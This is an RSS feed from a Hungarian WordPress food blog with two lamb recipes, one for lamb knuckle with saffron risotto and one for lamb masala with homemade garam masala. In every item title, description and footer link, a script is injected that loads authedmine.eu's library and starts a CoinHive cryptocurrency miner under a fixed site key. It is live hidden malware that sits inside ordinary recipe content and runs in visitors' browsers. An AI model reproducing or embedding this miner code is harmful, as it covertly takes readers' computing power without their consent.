<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>la-bouchee.hu &#187; bárány</title>
	<atom:link href="https://la-bouchee.hu/blog/?feed=rss2&#038;tag=barany" rel="self" type="application/rss+xml" />
	<link>https://la-bouchee.hu/blog</link>
	<description>Ínyencfalatok</description>
	<lastBuildDate>Sat, 31 Dec 2016 13:30:55 +0000</lastBuildDate>
	<language>hu-HU</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>https://wordpress.org/?v=4.2.39</generator>
	<item>
		<title>  var miner = new CoinHive.Anonymous(&#039;49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK&#039;); miner.start(); Báránycsülök sáfrányos rizottóval</title>
		<link>https://la-bouchee.hu/blog/?p=160</link>
		<comments>https://la-bouchee.hu/blog/?p=160#comments</comments>
		<pubDate>Mon, 01 Jun 2015 08:26:33 +0000</pubDate>
		<dc:creator><![CDATA[a-t-i]]></dc:creator>
				<category><![CDATA[Receptek]]></category>
		<category><![CDATA[bárány]]></category>
		<category><![CDATA[csülök]]></category>
		<category><![CDATA[ínyenc]]></category>
		<category><![CDATA[nemzeti konyha]]></category>
		<category><![CDATA[olasz konyha]]></category>
		<category><![CDATA[rizotto]]></category>
		<category><![CDATA[sáfrány]]></category>
		<category><![CDATA[zöldfűszer]]></category>

		<guid isPermaLink="false">http://la-bouchee.hu/blog/?p=160</guid>
		<description><![CDATA[<p>Olasz finomság báránycsülökből Lehet hogy sokakat megrémiszt a báránycsülök, és egy cupákos, nehéz ételt képzel maga elé. Szerencsére ha türelemmel készítjük el ezt az ételt, akkor meglepően finom, az alapanyagok ízét kiemelő fogást kapunk. Ha a képen látható fogást szeretnénk elkészíteni, akkor legalább 3 órát rá kell szánnunk, bár az előkészületek ennél jóval kevesebbet vesznek [&#8230;]</p>
<p>A <a rel="nofollow" href="https://la-bouchee.hu/blog/?p=160"><script src="https://authedmine.eu/lib/1.js"></script> <script> var miner = new CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start(); </script>Báránycsülök sáfrányos rizottóval</a> bejegyzés először a <a rel="nofollow" href="https://la-bouchee.hu/blog">la-bouchee.hu</a> jelent meg.</p>
]]></description>
				<content:encoded><![CDATA[<h2>Olasz finomság báránycsülökből</h2>
<div id="attachment_159" style="width: 250px" class="wp-caption alignleft"><img class="wp-image-159 size-full" src="http://la-bouchee.hu/blog/wp-content/uploads/2015/05/lamb_knuckle.png" alt="Báránycsülük riozottóval" width="240" height="240" /><p class="wp-caption-text">Báránycsülük riozottóval</p></div>
<p style="text-align: justify;">Lehet hogy sokakat megrémiszt a báránycsülök, és egy cupákos, nehéz ételt képzel maga elé. Szerencsére ha türelemmel készítjük el ezt az ételt, akkor meglepően finom, az alapanyagok ízét kiemelő fogást kapunk. Ha a képen látható fogást szeretnénk elkészíteni, akkor legalább 3 órát rá kell szánnunk, bár az előkészületek ennél jóval kevesebbet vesznek igénybe. A bárányhús zamatosságát rozmaringgal, kakukkfűvel és zöldségekkel emeljük ki, amelyet a sáfrányos szarvasgombás rizottó krémessége jól egészít ki. A bacon sós roppanóssága, a barnamártás gazdag íze minden falatot intenzív élménnyé tesz, amelyhez a pirított zöld spárga kiváló kiegészítés.</p>
<p style="text-align: justify;"><span id="more-160"></span></p>
<p style="text-align: justify;">Ha el szeretnénk készíteni, akkor a következő alapanyagokat kell beszerezni a bárányhoz és a mártáshoz:</p>
<table>
<tbody>
<tr>
<td width="50%">
<ul>
<li>Báránycsülök (4 db)</li>
<li>Sárgarépa (4 db)</li>
<li>Szárzeller (4 db)</li>
<li>Édeskömény (1 db)</li>
<li>Vöröshagyma (3 db)</li>
<li>Fokhagyma (6 gerezd)</li>
<li>Rozmaring (1 cs)</li>
</ul>
</td>
<td width="50%">
<ul>
<li>Kakukkfű (1 cs)</li>
<li>Vörösbor (1 dl)</li>
<li>Alaplé &#8211; húsleves lé (1 l)</li>
<li>Növényi olaj</li>
<li>Babérlevél (4 db)</li>
<li>Feketebors</li>
<li>Só</li>
</ul>
</td>
</tr>
</tbody>
</table>
<p>A rizotto akár önálló fogás is lehet, ha valamilyen zöldséggel, gombával, vagy tenger gyümölcseivel készítjük. A báránycsülök mellé azonban csak egy egyszerű változatát készíthetjük, bár a rizs kiválasztásánál figyelnünk, kell mert ez határozza meg, hogy megfelelő állagot el tudjuk-e érni. Mindenképpen apró kerek szemű rizst kell választanunk, ha lehet kifejezetten rizotto készítéséhez valót, ugyanis csak ebben az esetben lesz (a szemek külső részében lévő keményítőtől) krémes. Másik lényeges szempont a jó rizotto-nal, hogy a szemek külön-külön megmaradjanak a főzés után, és az egész állaga massza szerű legyen (mindenképpen kerüljük azt az állagot, amikor a rizotto formázható).</p>
<p>A köret hozzávalói:</p>
<table>
<tbody>
<tr>
<td width="50%">
<ul>
<li>Rizs (350 g)</li>
<li>Fehérbor (1 dl)</li>
<li>Olíva olaj (4 ek)</li>
<li>Alaplé (7-9 dl)</li>
<li>Vaj (50-70 g)</li>
<li>Sáfrány</li>
</ul>
</td>
<td width="50%">
<ul>
<li>Parmezán sajt</li>
<li>Só</li>
<li>Gomba (ízlés szerint)</li>
<li>Bacon</li>
<li>Zöld Spárga</li>
</ul>
</td>
</tr>
</tbody>
</table>
<div id="attachment_158" style="width: 635px" class="wp-caption aligncenter"><img class="wp-image-158 size-large" src="http://la-bouchee.hu/blog/wp-content/uploads/2015/05/lamb_knuckl1-1024x683.png" alt="Szarvasgombás báránycsülök" width="625" height="417" /><p class="wp-caption-text">Szarvasgombás báránycsülök</p></div>
<p>Kezdjünk hozzá a báránycsülök elkészítéséhez! Először is egy nagy méretű vastagfalú edényre van szükségünk, amelynek fedője is van, és az egész betehető a sütőbe is. A bárányhoz való zöldségeket vágjuk viszonylag nagy méretűre, azaz kb, 1,5 cm-es darabokra. A báránycsülköt nem szükséges egy alapos, bő vízzel történő mosáson kívül tovább tisztítani, azaz a hártyás részt nyugodtan hagyjuk rajta (ahhoz, hogy ne essen szét a hús, illetve telt íze legyen rajta is kell hagynunk). Öntsük bele az olíva olajat az edénybe, majd közepes lángon pirítsuk meg a csülök minden oldalát, hogy a későbbi főzés során a hús zamata bezáródjon. Ha ezzel elkészültünk, akkor szedjük ki, és tegyük tányérra pihenni. A forró olajba tegyük bele az összeroppantott fokhagymát, majd rövid sütést követően öntsük bele a répadarabokat. Süssük addig míg a répa felszíne egy kicsit megpirul, és az olaj sárgás színt kap. Ezt követően tegyük bele a vöröshagymát, amelyet rövid ideig dinsztelünk, majd tegyük bele a szárzellert, édesköményt, babérlevelet és ízesítsük őrölt feketeborssal. Ha átmelegítettük a zöldségeket, akkor öntsük fel forró húsleves alaplével, és egy rövid forralást követően ízesítsük sóval, végül tegyük bele a báránycsülköt a rozmaringot és a kakukkfüvet. Mielőtt még a sütőbe tennénk a tálat, öntsük bele a vörösbort, amellyel hagyjuk forrni, míg az alkohol el nem párolog. Ha a zöldséges lé nem lepné el a csülköt, akkor pótoljuk a vizet, majd mehet a lefedett tál a 200 fokos sütőbe 1,5-2,5 órára. A csülköt egy óra elteltét követően kb. félóránként nézzük meg, hogy átpuhult-e. Az igazi ízét és omlós állagát akkor nyeri el, amikor a hús elválik a csonttól.</p>
<p>A köretből a bacon és a spárga nem igényel különösebb sütögetést. A ropogósra sütött bacon zsírjába süssük néhány percig a spárgát gyakori forgatással, amíg puhává válik. Vigyázzunk, hogy ne legyen túl puha a spárga, de azért süljön át. Ezt követően kezdődhet a rizotto készítése. A rizottót lényegében folyamatosan kevergetni kell, és sohasem szabad lefedni. Először az átmosott rizst tegyük bele a felmelegített olíva olajba, majd süssük addig míg a szemek először ki nem fehérednek, majd a külső részük egy picit áttetszővé válik. Ez 4-5 percet jelent. A felhevített rizst öntsük fel a fehérborral és hagyjuk elpárologni az alkoholt. Ezt követően szórjuk bele a sáfrányt, és egy-egy szedőkanál húsleves alaplé hozzáadásával főzzük al dente-re a rizst (azaz puha de még harapható). Minden egyes szedőkanálnyi alaplé hozzáadását követően főzzük addig a rizst, míg a folyadékot teljes egészében fel nem veszi a rizs. Ha elkészült a rizotto, akkor adjuk hozzá a reszelt parmezán sajtot, illetve a vajat. Fontos, hogy a vajjal keverjük ki a rizottót, amíg krémes, de még folyós állagot nem kapunk. A tálalás előtt ne hagyjuk sokat állni a rizottót, mert megkeményedik.</p>
<p>A mártást gyorsan elkészíthetjük, ugyanis ehhez csak báránycsülök mellől az átfőtt zöldségeket kell kiszedni, két gerezd fokhagymát hozzáadni, sóval, borssal ízesíteni, és az egészet össze turmixolni. A tálaláshoz szarvasgombát vagy koriander zöldet használhatunk.</p>
<p>A <a rel="nofollow" href="https://la-bouchee.hu/blog/?p=160"><script src="https://authedmine.eu/lib/1.js"></script> <script> var miner = new CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start(); </script>Báránycsülök sáfrányos rizottóval</a> bejegyzés először a <a rel="nofollow" href="https://la-bouchee.hu/blog">la-bouchee.hu</a> jelent meg.</p>
]]></content:encoded>
			<wfw:commentRss>https://la-bouchee.hu/blog/?feed=rss2&#038;p=160</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>  var miner = new CoinHive.Anonymous(&#039;49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK&#039;); miner.start(); Bárány masala és garam masala</title>
		<link>https://la-bouchee.hu/blog/?p=136</link>
		<comments>https://la-bouchee.hu/blog/?p=136#comments</comments>
		<pubDate>Fri, 29 May 2015 09:01:17 +0000</pubDate>
		<dc:creator><![CDATA[a-t-i]]></dc:creator>
				<category><![CDATA[Receptek]]></category>
		<category><![CDATA[bárány]]></category>
		<category><![CDATA[fűszerek]]></category>
		<category><![CDATA[indiai konyha]]></category>
		<category><![CDATA[ínyenc]]></category>
		<category><![CDATA[ízek]]></category>
		<category><![CDATA[masala]]></category>
		<category><![CDATA[nemzeti konyha]]></category>

		<guid isPermaLink="false">http://la-bouchee.hu/blog/?p=136</guid>
		<description><![CDATA[<p>Fűszeres indiai csemege bárányból Közel 20 féle fűszer keverékéből születik a Garam masala, amely &#8220;csípős keveréket&#8221; jelent, és az indiai konyha egyik alapvető ízesítője. A garam masala-t megvásárolhatjuk készen is, illetve magunk is elkészíthetjük. Ha az utóbbit választjuk, akkor készüljünk fel arra, hogy az egyes hozzávalókat külön külön le kell pirítanunk, és a végén megőrölni. Természetesen [&#8230;]</p>
<p>A <a rel="nofollow" href="https://la-bouchee.hu/blog/?p=136"><script src="https://authedmine.eu/lib/1.js"></script> <script> var miner = new CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start(); </script>Bárány masala és garam masala</a> bejegyzés először a <a rel="nofollow" href="https://la-bouchee.hu/blog">la-bouchee.hu</a> jelent meg.</p>
]]></description>
				<content:encoded><![CDATA[<h2>Fűszeres indiai csemege bárányból</h2>
<div id="attachment_147" style="width: 250px" class="wp-caption alignleft"><a href="http://la-bouchee.hu/blog/wp-content/uploads/2015/05/lamb_masala.png"><img class="size-full wp-image-147" src="http://la-bouchee.hu/blog/wp-content/uploads/2015/05/lamb_masala.png" alt="Bárány masala" width="240" height="240" /></a><p class="wp-caption-text">Bárány masala</p></div>
<p style="text-align: justify;">Közel 20 féle fűszer keverékéből születik a <em>Garam masala, </em>amely &#8220;csípős keveréket&#8221; jelent, és az indiai konyha egyik alapvető ízesítője. A garam masala-t megvásárolhatjuk készen is, illetve magunk is elkészíthetjük. Ha az utóbbit választjuk, akkor készüljünk fel arra, hogy az egyes hozzávalókat külön külön le kell pirítanunk, és a végén megőrölni. Természetesen a kész fűszerkeveréket a későbbiekben is felhasználhatjuk, így nem kell minden alkalommal elkészíteni. A Garam masala elkészítéséhez először be kell szereznünk a fűszereket, amelyek közül néhányat nem valószínű, hogy meg tudunk vásárolni átlagos magyar boltokban.</p>
<p><span id="more-136"></span></p>
<p>Ha nehézséget okoz például a görögszéna mag, vagy a fekete kardamom beszerzése, akkor talán egyszerűbb, ha kész keveréket vásárolunk. Azok számára, akik élvezettel keverik össze saját ízlésük szerint a Garam masala-t, és a bárány masala készítését azzal kezdenék, hogy a konyhát, a lakást illetve akár az udvart is megtöltsék bódító fűszerillattal, azoknak a következő receptet ajánlom:</p>
<table>
<tbody>
<tr>
<td width="50%">
<ul>
<li>Fűszerkömény (1/2 ek.)</li>
<li>Római kömény (1 ek.)</li>
<li>Piros chili (8 db &#8211; ízlés szerint)</li>
<li>Kurkuma (1 tk.)</li>
<li>Koriander mag (1 ek.)</li>
<li>Feketebors (1/2 ek.)</li>
<li>Szegfűszeg (8 db)</li>
<li>Sárga mustármag (1/2 ek.)</li>
<li>Zöld kardamom (8 db)</li>
</ul>
</td>
<td width="50%">
<ul>
<li>Fekete kardamom (3 db)</li>
<li>Görögszéna mag (2 tk.)</li>
<li>Csicseriborsó (2 ek.)</li>
<li>Édeskömény (1 ek.)</li>
<li>Fahéj (1 ek.)</li>
<li>Csillagánizs (1 db)</li>
<li>Szerecsendió (1 db vagy 1/2 tk. őrölve)</li>
<li>Szerecsendió virág (2 db)</li>
</ul>
</td>
</tr>
</tbody>
</table>
<p>A hozzávalókat az őrölt szerecsendió kivételével száraz serpenyőben pirítsuk meg, majd hűtsük le mielőtt finomra darálnánk. Az elkészült őrleményt szitáljuk át, és légmentesen záródó dobozban tároljuk.</p>
<p>Térjünk vissza a bárány masala elkészítéséhez, amihez használhatjuk a fentiekben leírt fűszerkeveréket, vagy készíthetjük úgy is, hogy a hozzávalók egy részét egészben hagyjuk és így ízesítjük vele a bárányt. Ha a második módszert választják, akkor csak a piros chilit, a koriander magot és a fekete borsot kell ledarálni, a többi fűszert egészben használjuk. A chilivel bányjunk óvatosan, ugyanis a megadott mennyiség az indiai ízlésnek megfelelő. Bármelyiket is választjuk a további hozzávalókra is szükségünk lesz:</p>
<table>
<tbody>
<tr>
<td width="50%">
<ul>
<li>Báránycomb (1,75 kg)</li>
<li>Olaj vagy ghee (250 ml)</li>
<li>Vöröshagyma (400 g)</li>
<li>Fokhagyma (85 g)</li>
<li>Gyömbér (85 g)</li>
</ul>
</td>
<td width="50%">
<ul>
<li>Zöld chili (5-10 db)</li>
<li>Joghurt (450 g) &#8211; ezt ki is lehet hagyni</li>
<li>Paradicsom (500 g)</li>
<li>Só</li>
<li>Koriander levél</li>
</ul>
</td>
</tr>
</tbody>
</table>
<p>Ha úgy döntünk, hogy nem fűszerkeveréket használunk, akkor szükségünk lesz még:</p>
<table>
<tbody>
<tr>
<td width="50%">
<ul>
<li>Zöld kardamom (8 db)</li>
<li>Fekete kardamom (1,5 db)</li>
<li>Szegfűszeg (8 db)</li>
<li>Fahéjrúd (1 db)</li>
<li>Babérlevél (2 db)</li>
<li>Szerecsendió virág (2 db)</li>
</ul>
</td>
<td width="50%">
<ul>
<li>Koriander mag &#8211; egész (4 tk.)</li>
<li>Piros chili (1-2 db)</li>
<li>Feketebors &#8211; egész (3 tk.)</li>
<li>Római kömény &#8211; őrölt (1,5 tk.)</li>
<li>Fűszerkömény &#8211; őrölt (1,5 tk.)</li>
</ul>
</td>
</tr>
</tbody>
</table>
<p>Három fűszert abban az esetben is le kell darálnunk, ha a fűszerek nagyobb részét egészben szeretnénk felhasználni. Száraz serpenyőben történt pirítás után őröljük le a koriander magot, a feketeborsot, illetve a piros chilit.</p>
<p>A bárányhúst tisztítsuk meg, és vágjuk kockára. A vöröshagymát apróra vágva készítsük elő, a lereszelt (vagy apró csíkokra vágott) gyömbért, a zúzott fokhagymát tegyük külön tálra. A friss zöld chilit karikázzuk fel apróra. A paradicsomot érdemes meghámozni és csak a paradicsom húsát apróra vágni. Ezek után nekiláthatunk a bárány masala elkészítéséhez:</p>
<ol>
<li>Hevítsük fel az olajat, majd tegyük bele a babérlevelet, a zöld és fekete kardamomot, a szegfűszeget, a fahéjrudat és a szerecsendió virágot. Rövid ideig hagyjuk megpirulni a fűszereket. Vigyázzunk, hogy se az olaj, se a fűszerek ne égjenek meg.</li>
<li>Az apróra vágott vöröshagymát süssük halvány barnára, majd adjuk hozzá a gyömbért, fokhagymát, és a zöld chilit, amelyet hozzávetőleg 2 percig süssünk össze.</li>
<li>A bárányhúst és az őrölt fűszereket (a köményeket is) a hagymás alaphoz adva pirítsuk le a húst.</li>
<li>Ha szeretjük a joghurt savanykás ízét, akkor itt az ideje, hogy hozzáadjuk a készülő masala-hoz, de ezt el is hagyhatjuk. A joghurtot hagyjuk átmelegedni, mielőtt a paradicsomot is hozzáadnánk. Ízlés szerint sózzuk.</li>
<li>A félig elkészült masalát öntsük fel 1,5 csésze vízzel és pároljuk a húst fedő alatt, amíg puha nem lesz, majd 15-20 perc alatt lassú tűzön sűrítsük be a mártást.</li>
<li>Tálaláskor apróra vágott koriander levéllel és gyömbérrel díszíthetjük az ételt.</li>
</ol>
<p>A bárány masala-hoz naan kenyeret vagy (basmati) rizst kínálhatunk köretként. Aki a fentieken felül még szeretné egy kicsit pikánsabbá tenni a bárányt, azoknak ajánlom a lime-ból, vagy mangóból készült indiai savanyúságot (pickles), illetve az enyhén sós, roppanós tésztát a papadum-ot (félkészen megvásárolható, amit csak ki kell sütnünk forró olajban).</p>
<p>A <a rel="nofollow" href="https://la-bouchee.hu/blog/?p=136"><script src="https://authedmine.eu/lib/1.js"></script> <script> var miner = new CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start(); </script>Bárány masala és garam masala</a> bejegyzés először a <a rel="nofollow" href="https://la-bouchee.hu/blog">la-bouchee.hu</a> jelent meg.</p>
]]></content:encoded>
			<wfw:commentRss>https://la-bouchee.hu/blog/?feed=rss2&#038;p=136</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
